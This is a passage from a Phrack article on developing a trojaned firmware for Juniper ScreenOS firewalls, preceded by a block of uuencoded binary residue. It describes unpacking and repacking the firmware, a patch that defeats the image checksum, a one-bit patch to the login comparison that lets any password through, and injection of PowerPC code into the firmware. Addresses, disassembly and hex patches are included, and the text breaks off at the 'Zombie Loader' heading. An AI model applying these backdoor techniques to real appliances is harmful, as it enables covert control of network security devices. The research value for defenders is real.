M%_$A#VOZ=XB?BUUED<@0AI'_")'%LTV;]&:H%1]N%EZDV9J+YQN92)0#&?\4
MHY'EZQV#Y6M;@Y/EZS>(P?+UMD.;,V2E+%^)0KJ/!*?W3+L%YEW'O%H]_1?G
M_^+@X.#@X.#@X.#@^.0!OZ5^HU40_F2-_%]8UEY^I?Q?+T'^;\'QQ[LL
MOJ]G*_B_GEV"_^N_6EGY_X#C'5O='!P<'!P<'!P<'!P<M7&U+JZW=AP<
M'!P<'!P<'!P<'.L!D__K-W=9_%]/[[+XO_#[_+7D_WIEE\7_-;P\_Q<-
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
M"NR'!1;:D8(258E($K3W0//(9+/@T49LE?<DPD''1>A<M=-Q=--=M>3R>/U<G
M"%WS73V@`N#S))5M&##BA72T.UAD2,Q%+LJ-,QG2A"J$,TGBP"B<H8-AA@_,
MF>O;>YEW-D@RLY`7?E[-9[:(U_UJT'0:O(<.X[[GG/#&HC*4Q#E"E3(&Z7'A
M@?34$SQ0JKJ$9[5['?J9:[M#\QW99H<D!];`U3O5,$9.FH=]15:JS\8I4C7F
M>(SUXS4;6*YY#P^]PBP"VLX]J$8;`%[:LSVU!Q*/:62)Y/QV&\EH:]J@;_IU
MG-(,R?9`.]`]=S_7K([49^"T#/5`Q_F884"=XI,5I>DT6)7BM"5!('JZLU_(
MDZM4A&Q#GLBF0$%3F"5#;JV^Y[#*^-9@9WN[OK&Y52.)68>&$Y+$&LJT9`RH
M6HIW;E(]4B2H/\8:G;#LV7KD.O[[X('B?=]&-?W8)-0/&IZ>-EX*35CPRA&;
MI$PVQ$C#3DD/&PK*Z]G6/7)@V<=6H+KQZ3UD&Y&T:`^WM0/0SKC?E+4[FUNT
MNN45_CIMM=,&#OM^2OB>JG//I5;UO<3(*>Y$BN=)O7U[:^M^0`\S:B"G].$Y
M[T1`),79G%A.+#K?W;`2J:#3L1U,0Y:-SBI.M64_/K7=VKFQM_/^=NOZ3FV]
MKBBKJU=SBA2'OHZS2;B<P`P)9!#'.;M<N[M9;VVL;V[=WJ%L[TM2'!05Q1;;
MDW4IOICND&/3ZQ++[KMILM<]^0'^`X_>12G.)OXR$J>N-(8KV2LIWH<8I0!C
M*1[M,VB0<!`\6X&1XB`'Z5"5TM0Z,*S"&)L-K`B\-DV#6#*1RS<;/)>F&GI;
M;8.-A%Q^VD0FWY)D46)&WG_)KS+DH)5$F4RCU:4%R$QZ%)@"&.TR*P0Z8[>V
Q2F9G45*9G>!LJWK!J5D:9P0K"][4YF;8[#%BCR]+C.:=R(];%XEJ)J+:H`S
"R8_(`TTFID_=#!(K(,`'W=MT$0H-1W(#&TR2H624\P%DA,FH/R,-6V+&9S)
*D%3C!H'5AW/U`Y8/5D&TZ*2S:JA]4]DX)>Z#&5$2J?%CF1F)3`CHAH>OEA7
]:(\EB+94Y>Q!WR&&)[D&#0;Y[>@BE'V2U'&J8C"I*;H$)6QJ*V9Z2328-8!
S`N=/H"-25&U]G54(1=7`X4=LRTTQP+CXCII7_"88`:&H$H3L?(DT$^_()86
F5VA%K)(?Q;%,MRYV;JULUUOU>[6KM^NU\C[00Q8Q!N1Q[V=S3IG&\R=O@@'
,M:P\QUK6.O2YN4K%WGNO#X%S9]+778=.F1,L^<SL\[O!QB@<"L'NG="-!:Y
]M"A**IDE`-79W\8'-5E'LOE?VPDB%A3,%I\Z!W+"#8^U^3V>AY1'HE&S=ME
R$276`"%7+M&\L6Y+`K3662SC`EED2O/95&<Q8(QH2S(\EP6I=DLD`EC@6T1
[;F9[E9<J?D2D,YB4O0?F)\HW$;"2([+!K!PG;3$Y"8+:??GW7;QQ3&V_T,G
4>G#YUO&@OV?;+%28?L_V5RI4,CC_D^AE!?[/^>!9][_.>S;CD<2[$ZK='?^
JH;@LH8]@B+1I2#>3B7G2RC^_!ZM)/M6.:3N^U=K4:HF740W(SH5?-\<31X\
*)&TZ`?/,9D]\Z%3U7"4S"NX2F2JE&-V-\ZNPI*!64H]@B4F1N][X05?)!']
=GJB&4GF'T]OGIE.GB?&]-_OWN=:QB+]SQ7I_F^Y4BKG"Y4"N_^K*/3_/.`K
]EL;]L#JT,V+3!BDVZ5KH&BZ8ZB:3KB:ODG\V^<DZ2I;T2A,:^3=^HY"^ET'
%`3&LS7=ZKS\.O)5QG3]?[X3@(7Z7XKH?XG>_U?*"OT_%TP;V-<@KJ<?POJ:
&@&N]?-4G>X,^R/R)9>N3%@*G;D*._!_BQ']SV?.I(SY]W]2T/D_3OLK19S_
Y[-X_V?I3&HSAE=<_\?ZGVVE/^<R/E__4_N?S^9$_Y\'QOK_A:S_2]F\W_^%
4JG,UO]B_#\7?(GU/_L3W<#8SY=@+;QP.^`,5OW$=-60)"G3OTDF%;$%\.P8
T_\7N?ZG^I\KY^CZ'Y8!0O_/`6+]_VICNOZ_D/7_B/Z7Q?W_YP*Q_A<0$!`0
$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0>/GP/ZX=Q$H`D`$`
`
end
```

```
--------[ EOF
```

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x05 of 0x11

```
|=-----------------------------------------------------------------------=|
|=----------------=[     Netscreen of the Dead:      ]=-------------------=|
|=-=[ Developing a Trojaned Firmware for Juniper ScreenOS Platforms  ]=--=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[     By graeme@lolux.net     ]=-------------------=|
|=-----------------------------------------------------------------------=|
```

--[Index

--[0x1 - Trailer

This article describes how an attacker can obtain, modify and install a modified version of Juniper ScreenOS which can run attacker supplied code which performs hidden operations or operations contrary to the configuration of any Juniper platform running ScreenOS.

The attacker could be any one of the following:
- an attacker that has exploited a vulnerability in ScreenOS
- someone who has illicitly obtained the administrator password
- someone with physical access to the device (vendor / 3rd party support)
- an attacker conducting a man-in-the-middle attack on the network
- a malicious administrator

--[0x2 - Opening Scene

Netscreens are manufactured by Juniper Inc and are all in one firewall, VPN, router security appliance. They range in scale from SME to Datacentre (NS5XP -- NS5000). Most are Common Criteria and FIPS certified and run a closed source, real time OS called ScreenOS which is supplied by Juniper as a binary firmware 'blob'.

The hardware used for this research was a Netscreen NS5XT containing an AMCC PowerPC 405 GP RISC processor and 64MB flash. The firmware used as the basis for modified firmware images was ScreenOS 5.3.0r10. Interfaces for administration are serial console, Telnet, SSH, and HTTP/HTTPS. The firmware can be installed from serial console, via the web interface or via TFTP.

The configuration of the device is stored as a file on the flash and is independent of the firmware.

--[0x3 - The Attack

The goal of the attack is to be able to install attacker modified firmware which provides hidden root control of the appliance. When attacking firmware there are two vectors of attack:

1. Live evisceration: debugging with remote GDB debugger over serial line

2. Feeding on the remains: dead listing and static binary analysis using a disassembler and hex editor.

The next two sections will discuss these two approaches and how successful they were in this specific instance. At this point it is worth noting some key features of the PowerPC hardware architecture:
- fixed instruction size of 4 bytes
- flat memory model
- 32 general purpose registers (r0-r31)
- no explicit stack but convention of using r01
- link register (lr) for returning to calling function
- program counter (pc) for current instruction
- count register (ctr) for loop counter or return address
- exception register (xer) for exceptions, status and control

Detailed information on the PowerPC architecture is available from the IBM PPC405 Embedded Processor Core User Manual which can be downloaded from http://www-01.ibm.com/chips/techlib/techlib.nsf/products/PowerPC_405_Embedded_Cores

--[0x4 - Live Evisceration

For live debugging a GDB compiled for PowerPC was required. The Embedded Linux Development Kit (http://www.denx.de/wiki/DULG/ELDK) has GDB compiled for a number of embedded platforms including the PowerPC 403 and 405 processors. This provides remote debugging of systems over a serial connection.

Obviously no source for ScreenOS was available so it was necessary to create a custom GDB init file for displaying PPC registers and 'stack' to provide useful information on breaks. GDB reads init files on startup and init files use the same syntax as GDB command files and are processed by GDB in the same way. The init file in your home directory (~/.gdbinit) can set options that affect subsequent processing of command line options and operands. An example gdb init file is supplied in the addendum. This gdb init file outputs context similar to the windows SoftICE tool which reverse engineers should be familiar with. Below is an example of a GDB session connected to a Netscreen:

--start gdb session

```
GNU gdb Red Hat Linux (6.7-1rh)
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-pc-linux-gnu --target=ppc-linux".
The target architecture is set automatically (currently powerpc:403)

gdb>target remote /dev/ttyU0

0x0032bea4 in ?? ()
gdb>
gdb>context

powerpc
---------------------------------------------------------------------[regs]
 r00:00000001 r01:03790528 r02:01358000 r03:FFFFFFFF     pc:0032BEA4
 r04:0000002E r05:00000000 r06:00000000 r07:00000000
 r08:01631050 r09:01350000 r10:01630000 r11:01630000     lr:0032C5CC
 r12:40000022 r13:00000000 r14:6FFFA27F r15:1B9FC3F7
 r16:00000000 r17:402D04D0 r18:03791470 r19:00000000    ctr:0060A764
 r20:03790B48 r21:013509AC r22:FFFFFFFF r23:0379147E
 r24:00000000 r25:00000000 r26:00000000 r27:00000000     cr:40000028
 r28:03791470 r29:00000000 r30:03790F20 r31:0135098C    xer:20000046

[03790528]----------------------------------------------------------[stack]
0379058C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00
03790570 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00
0379055A : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00
0379053E : A6 40 03 79  06 C0 00 60 - A9 BC 00 00  00 00 00 00 .@y.`..
03790528 : 03 79 05 30  00 06 22 F0 - 03 79 03 79  05 40 00 32 y0".yy@2
03790512 : 00 01 03 79  12 58 03 79 - 05 20 0F 20  00 06 37 08 yXy  7
037904F6 : 00 00 00 00  00 05 01 62 - 9F A0 C2 28  01 4A 05 EA ...(J..
037904E0 : 03 79 04 E8  00 32 BE 60 - 03 79 03 79  14 70 01 4A y.2.`yypJ
037904C4 : 01 6F 0A 24  03 79 04 E0 - 00 B8 00 00  00 6C 03 79 o$y..ly

[0032BEA4]-----------------------------------------------------------[code]
0x32bea4:       lwz     r0,12(r1)
0x32bea8:       mtlr    r0
0x32beac:       addi    r1,r1,8
0x32beb0:       blr
0x32beb4:       stwu    r1,-40(r1)
0x32beb8:       mflr    r0
0x32bebc:       stw     r29,28(r1)
0x32bec0:       stw     r30,32(r1)
0x32bec4:       stw     r31,36(r1)
0x32bec8:       stw     r0,44(r1)
0x32becc:       mr      r31,r3
0x32bed0:       lis     r9,322
0x32bed4:       lwz     r0,-13800(r9)
0x32bed8:       cmpwi   r0,0
0x32bedc:       beq-    0x32bef0
0x32bee0:       lis     r3,196
----------------------------------------------------------------------
gdb>

--end gdb session
```

The steps for remote debugging on the Netscreen are as follows:
1. Connect to a network interface and the serial console of the Netscreen from a PC.
2. Over a telnet / SSH session to the Netscreen enable GDB using:

```
        ns5xt>set gdb enable
```

3. On the PC start gdbppc and connect to the remote gdb using:

```
        gdb>target remote /dev/ttyUSB0
```

During this research remote debugging was useful for obtaining memory dumps and querying specific memory addresses. However setting breakpoints or single stepping did not appear to work. Information on how to get these features working would be most appreciated by the author.

Observing the boot process of the Netscreen over a serial console did provide useful information regarding the boot up sequence:

```
--start boot sequence

        NetScreen NS-5XT Boot Loader Version 2.0.0 (Checksum: A1B6FF9B)
        Copyright (c) 1997-2003 NetScreen Technologies, Inc.

        Total physical memory: 64MB
                Test - Pass
                Initialization - Done

        Hit any key to run loader
        Hit any key to run loader
        Hit any key to run loader
        Hit any key to run loader
        Loading default system image from on-board flash disk...

        Ignore image authentication!

        Start loading...
        .............................................................

        Done.



        Juniper Networks, Inc
        NS-5XT  System Software
        Copyright, 1997-2004

        Version 5.3.0r10.0
        Load Manufacture Information ... Done
        Load NVRAM Information ... (5.3.0)Done
        Install module init vectors
        Verify ACL register default value (at hw reset) ... Done
        Verify ACL register read/write ... Done
        Verify ACL rule read/write ... Done
        Verify ACL rule search ... Done
        MD5("a") = 0cc175b9 c0f1b6a8 31c399e2 69772661
        MD5("abc") = 90015098 3cd24fb0 d6963f7d 28e17f72
        MD5("message digest") = f96b697d 7cb7938d 525a2f31 aaf161d0
        Verify DES register read/write ... Done

        Initial port mode trust-untrust(1)
        Install modules (00c40000,0146d540) ... load dns table
        : dns table file do not exist.

        Initializing DI 1.1.0-ns
        System config (1129 bytes) loaded
        .
        Done.
        Load System Configuration
        ....................................................Done
        system init done..
        System change state to Active(1)
        login:
```

--end of boot sequence

Stored boot loader executes and the opportunity is given to load a new image over a serial connection. The default behaviour is then to uncompress the stored firmware and run the image.

If a new image file is loaded over a serial console it is uncompressed and some options are presented. The first prompt allows saving the new image to flash. Even if the new image is not stored to flash the next prompt allows running the new image. No password is required to load an image over the serial line.
The boot loader is part of the firmware and if the new boot loader is different from the version stored on the flash then the stored boot loader is overwritten by the new one.

--[0x5 - Feeding on the Remains

Static binary analysis was the main method employed in this research. ScreenOS images can be downloaded direct from the device or obtained from the Juniper website by Juniper customers.

ScreenOS provides the following command to download the firmware over tftp:

```
 ns5xt>save software from flash to tftp 192.168.0.42 destination_file
```

It is important to note that this command downloads the compressed image file stored on the flash, not the currently running image from memory which may or may not be the same as the image file stored on the flash.

Using an undocumented command all the files on the flash can be listed:

```
 ns5xt-> exec vfs ls flash:/
    $NSBOOT$.BIN              5,177,344
    envar.rec                 82
    golerd.rec                0
    node_secret.ace           0
    certfile.dsc              252
    certfile.dat              1,324
    ns_sys_config             1,129
    $lkg$.cfg                 1,259
    syscert.cfg               1,167
  2,501,632 bytes free (7,686,144 total) on disk
```

$NSBOOT$.BIN is the firmware stored on flash. To download this securely scp can be enabled on the Netscreen. Note the configuration of the device is stored in ns_sys_config.

It is also possible to use GDB to dump the complete contents of the memory over a serial line. This is sloooow.

```
        gdb> set logging on
        gdb> set height 0
        gdb> set loging file 'dump'
        gdb> x /2048000000i
```

As a Juniper customer I was able to download current and old versions of ScreenOS firmware. Many firmware versions were compared as a first step in determining the make up of the ScreenOS firmware images. The following 4 section structure was revealed by this comparative analysis:

```
0x00000000      /--------------------------\
                                                |         HEADER            |
0x00000050      |--------------------------|
                                                |                           |
0x00002020      |--------------------------|
                                                |          STUB             |
0x00012940      |--------------------------|
                                                |                           |
0x00012c00      |--------------------------|
                                                |     COMPRESSED BLOB       |
                                                |                           |
                                                |                           |
                                                |                           |
                                                |                           |
                                                |                           |
                                                |                           |
~0x004e6000     \--------------------------/
```

This is a similar format for other embedded firmware.

Compressed Firmware Header
The header consists of the following 4 byte fields making up 32 bytes:

- Signature (magic bytes)
- Information 4*1 byte fields: 00, Platform, CPU, Version (eg 0x00110A12)
- Offset (for program entry point)
- Address (for program entry point)
- Size
- unknown
- unknown
- Checksum

```
Points to note are
- the size field                = (size of the compressed blob - 79 bytes)
- signature                     = 0xEE16BA81
- offset                        = 0x00000002
- address                       = 0x02860000
```

and these were always the same in the version 5 firmwares that were compared. Version 4 firmwares differed but were similar but these are old versions and I will not discuss them here.

Stub

The stub in the firmware image is responsible for uncompressing the blob when the device is booted. This stub contains strings relating to the LZMA algorithm so it was assumed that the compressed blob is an LZMA compressed binary blob. From the Wikipedia LZMA entry: "Decompression-only code for LZMA generally compiles to around 5kB and the amount of RAM required during decompression is principally determined by the size of the sliding window used during compression. Small code size and relatively low memory overhead, particularly with smaller dictionary lengths, and free source code make the LZMA decompression algorithm well-suited to embedded applications."

Free LZMA utilities are available here: http://tukaani.org/lzma/ and as prebuilt packages for most *nix distributions.

Compressed Blob

The compressed blob is LZMA compressed and contains a header but this is a non-standard header. There are non-standard signature bytes for the stub to recognise the blob and the LZMA uncompresssed size field is missing.

```
The standard LZMA header has 3 fields:
        options                 (2 bytes)
        dictionary_size         (4 bytes)
        uncompressed_size       (8 bytes)
```

```
The blob header also has 3 fields but slightly different:
        signature               (4 bytes) = 0x1440598
        options                 (2 bytes)
        dictionary_size         (8 bytes)
```

The dictionary size is used as a parameter in the compression algorithm. LZMA is a dictionary coder which I will not explain here but instead point the reader to http://en.wikipedia.org/wiki/Dictionary_coder.

One approach would have been to attempt to use the header information and the stub to decompress the compressed blob but given a lack of PowerPC hardware a different approach was taken. The approach used was to cut out the compressed blob from the firmware and attempt to decompress it in isolation using any tools available. Again using comparative anlalysis, the freely available LZMA utilities and direct modification of the header bytes the following methods for decompression and compression of the blob were reverse engineered.

```
The decompression process:
1. Cut out the compressed blob from the image file.
2. Insert uncompressed_size equal to -1 which equals unknown size
        (-1 uncompresseed size = 0xFFFFFFFFFFFFFFFF)
3. Modify the dictionary_size from 0x00200000 to 0x00008000.
4. Decompress the file using standard LZMA utilities.
```

The modification of the dictionary size was found by fuzzing the field and then attempting to decompress. The decompression reports an error at the end of the decompression so it is important to decompress to a stream otherwise the decompressed data is lost.

The recompression process:

1. Compress with standard LZMA utilities using specific compression options
2. Modify the dictionary_size field 0x00002000 to 0x00200000.
3. Delete the uncompressed_size field of 8 bytes.
4. Concatenate with the header from the original image file.

Proof of concept python scripts are provided in the Addendum which can perform the packing and unpacking of ScreenOS images. The LZMA utilities are necessary for operation of these scripts.

The recompressed firmware successfully loads onto a Netscreen and runs. More research into the dictionary size field was going to be carried out but once loading of firmware was successful there were many other more interesting avenues of research which took precedence.

--[0x6 - Night of the Living Netscreen

So at this stage we have successfully reverse engineered the compression of the firmware. We are also in a position to reverse engineer the operating system obtained from the decompression.

The steps are:

1. Cut out the compressed blob section of the image
2. Uncompress the blob.
3. Re-compress the modified binary.
4. Concatenate the original image header and the modified blob.
5. Upgrade the Netscreen with the modified operating system.

So we can install the firmware if we have physical access to the device or some kind of funky remote serial console. But we want to be able to install firmware over the network. However on attempting to upload a new firmware via the device web interface or through the tftp command:

```
        ns5xt>save software from tftp x.x.x.x  filename to flash
```

loading fails with a 'bad image file data' error. Note the insecure transport mechanism for the firmware. This is vulnerable to a man in the middle attack.

We need to fix the size and checksum fields of the compressed firmware header. We know the size field needs to be set equal to the compressed firmware size - 79 bytes. But we do not yet know how the checksum field is calculated. To obtain the checksum algorithm we need to disassemble the uncompressed blob we have from decompressing the firmware. We will now discuss disassembling the binary and then move onto addressing the checksum issue.

--[0x7 - Autopsy

The uncompressed blob is an approximately 20Mb binary. We want to load the binary into IDA (a disassembler with PowerPC support) but we need a loading address so that relative addresses within the program point to the correct memory locations. Initially the binary was loaded at address 0x00000000 but it is obvious that pointers to strings are not referencing the beginning of strings.

The uncompressed blob contains a header with similarities to the compressed firmware header. The header fields contain a virtual address and a header size. If we subtract the header size from the virtual address we have the loading address.

Uncompressed Blob Header

```
                signature       offset          address
00000000:       EE16BA81        00010110        00000020        00060000
```

ScreenOS Loading Address = 0x00060000 - 0x00000020 = 0x0005FFE0

This can be confirmed with live debugging by using GDB and querying the memory at 0x0005FFE0 to check that the signature bytes 0xEE16BA81 are at that memory location.

We can now rebase the program in IDA to use the correct loading address. Now we have a correctly loaded binary but we do not know anything about the structure of the binary or the sections it may contain as the binary is not a recognised executable type. Code and data were marked using IDC scripts which searched for function prologs (0x9421F*) and string cross references. The approximate segments of the binary found by scripting and manual examination are sketched out in the very simplified illustration below:

```
0x0005ffe0      /-------------------------\
                                                |       HEADER &          |
                                                |       SCREENOS CODE     |
0x00c40000      |-------------------------|
                                                |       SCREENOS DATA     |
0x00f0efd8      |-------------------------|
                        |                                       FILES     |
0x011ddab4      |-------------------------|
                                                |       BOOT LOADER CODE  |
0x011f2b4e      |-------------------------|
                                                |       BOOT LOADER DATA  |
0x0140e04c      |-------------------------|
                                                |       0xFFs             |
0x014171cf      |-------------------------|
                                                |   other stuff           |
                                                \-------------------------/
```

To build up a picture of the binary it is useful to search for functions such as str_cmp, file_read, file_write etc and use error strings to identify and name functions in IDA.

The boot loader can be cut out and disassembled separately with a loading address of 0x00000000.

--[0x8 - Netscreen of the Dead

At this stage we are now ready to construct a ScreenOS Trojaned Firmware. Any trojan has three basic requirements:

1. Delivery: It must be able to be installed remotely.
2. Access: It must provide remote access / communication.
3. Payload: It must provide attacker supplied code execution.

During this research all modification of the ScreenOS binary to construct the trojaned version was hand crafted assembly inserted via hex editing the binary firmware.

1. First Bite [Delivery]
Unlike loading a firmware over a serial console at boot time, the checksum and size fields in the header are checked when images are loaded over the network via TFTP or the Web interface

```
00000000: EE16BA81 00110A12 00000020 02860000
00000010: 004E6016 15100050 29808000 C72C15F7   <-CHECKSUM
```

The checksum is calculated as part of the image loading sequence and a disassembly of the relevant function is shown below...but on firmware loading any bad header checksum value is printed to the console with an error message.

If we binary modify the firmware to print out the correct checksum value we would have a 'checksum calculator' firmware which we can load modified firmware against to calculate valid checksums. So we don't have to calculate or reverse engineer the checksum algorithm. This checksum calculator firmware can be loaded over serial console and new images we need to calculate the checksum for are loaded over TFTP. The correct checksum will then be output to the console. This correct header value can then be inserted into the firmware header by direct hex editing of the image file.

With a correct checksum field we can now load modified images via tftp and the web interface.

Below is the ScreenOS code we need to modify to create a checksum calculator image.

```
008B60E4  lwz  %r4, 0x1C(%r31)          # %r4 contains header checksum
008B60E8  cmpw %r3, %r4                 # %r3
contains calculated checksum
008B60EC  beq  loc_8B6110               # branch away if checksums matched
008B60F0  lis  %r3, aCksumXSizeD@h      # " cksum :%x size :%d\n"
008B60F4  addi %r3, %r3, aCksumXSizeD@l
008B60F8  lwz  %r5, 0x10(%r31)
008B60FC  bl   Print_to_Console         # %r4 is printed to console
008B6100  lis  %r3, aIncorrectFirmw@h   # "Incorrect firmware data"
008B6104  addi %r3, %r3, aIncorrectFirmw@l
008B6108  bl   Print_to_Console
```

If we replace

```
        008B60E8  cmpw %r3, %r4         # %r3 contains calculated checksum
```

with

```
        008B60EC mr   %r4,%r3           # print out calculated checksum
```

we have our checksum calculator firmware.

For interested readers two checksum algorithms were identified at addresses and reverse engineering of these is certainly possible.

One Bit{e} [Access]
The most stealthy and elegant backdoor is to subvert the existing login mechanism. It may be possible to spawn a shell on another external port but this may be noticed from an external scan of the appliance and compromises the stealthiness of the trojaned firmware so further research into this was not carried out.

Serial console, Telnet, Web and SSH all compare password hashes and use the same function for that comparison. Additionally SSH falls back to password authentication if the client does not supply a key, unless password authentication has been explicitly disabled.

A one bit patch to the firmware provides a login with any password if a valid username is supplied.

```
003F7F04  mr    %r4, %r27
003F7F08  mr    %r5, %r30
003F7F0C  bl    COMPARE_HASHES          # does a string compare
003F7F10  cmpwi %r3, 0                  # equal if match
003F7F14  bne   loc_3F7F24              # login fails if not equal (branch)
003F7F18  li    %r0, 2
003F7F1C  stw   %r0, 0(%r29)
003F7F20  b     loc_3F7F28
```

If we replace

```
        003F7F10  cmpwi %r3, 0          # equal if match
```

with

```
        0x397F30 cmpwi %r3, 1           # equal if they don't match
```

then any password EXCEPT a valid password will provide a login.

We could patch

```
        003F7F14 bne   loc_3F7F24       # login fails if not equal (branch)
```

to

```
        003F7F14 bl   loc_3F7F24        # login never fails (branch)
```

to allow any password with a valid username to work.

Infection [Payload]

The last step for our working trojan is to be able to inject code into the firmware. First we need to find somewhere to inject the code we want executed. The ScreenOS code section contains a block of nulls large enough to include useful functionality at address 0x0031b4ac to 0x0031b4b0

First we write our desired functionality in PowerPC assembly and replace a chunk of nulls with the hex values of the assembly opcodes.

The steps to execute this code are:
- Patch a branch in ScreenOS to call our code
- Run our injected code which can potentially call ScreenOS functions
- Branch back to callee

This code can be injected at address 0x002BB4E0 in the firmware and called from the login function of ScreenOS:

```
003F7F04 mr      %r4, %r27
003F7F08 mr      %r5, %r30
003F7F0C bl      GET_HASHED_PASS        # patch this to call our code
003F7F10 cmpwi   %r3, 0
003F7F14 bne     loc_3F7F24
003F7F18 li      %r0, 2
003F7F1C stw     %r0, 0(%r29)
003F7F20 b       loc_3F7F28
```

so

```
003f7f0c bl     GET_HASHED_PASS
```

becomes

```
003f7f0c bl     0x31b4c0
```

which will jump to the location containing the injected code. To inject code the PowerPC architecture features such as flat memory model, fixed width 4 byte instructions and the link register make this fairly straightforward to implement. A very simple proof of concept example, which prints out a string to the console on every login, is provided below:

```
stwu    %sp,    -0x20(%sp)      # reserve some stack space
mflr    %r0                     # minimal function prolog
lis     %r3,    string_msb_address      # load half of string
addi    %r3,    %r3,    string_lsb_address  # load second half of string
bl      Print_To_Console        # call ScreenOS function
```

```
mtlr    %r0
addi    %sp, 0x20                #minimal function epilog
bl      callee_function          # branch back to calling function
```

As PowerPC has a fix instruction size of 4 bytes to load a 4 byte string we need two instructions. The first loads the most significant bytes - 2 bytes for load instruction into register and 2 bytes of string, the second adds the least significant bytes to the register to give us 4 byte string.

This asssembly is then translated in hex and patched into the firmware using a hex editor at absolute address 0x002bb4e0 overwriting existing nulls bytes:

```
0x002bb4b0: 93DFCAC4 4BD48E69 80010014 7C0803A6
0x002bb4c0: 83C10008 83E1000C 38210010 4E800020
0x002bb4d0: 00000000 00000000 00000000 00000000
0x002bb4e0: 9421FFE0 7C0802A6 3C6000C4 386321BC <----
0x002bb4f0: 488ED7E9 60630001 7C0803A6 38210020 injected code
0x002bb500: 480DCA31 00000000 00000000 00000000 ->
0x002bb510: 00000000 00000000 00000000 00000000
```

From reverse engineering we have identified a ScreenOS function which prints strings to the console. So here we have new functionality injected into the ScreenOS firmware which has new code but also calls builtin ScreenOS functionality. The string loaded can be one already existing in ScreenOS or a new one injected somewhere into the null byte area.

Every time a user logins the string will be output to the serial console.

--[0x9 - Zombie Loader

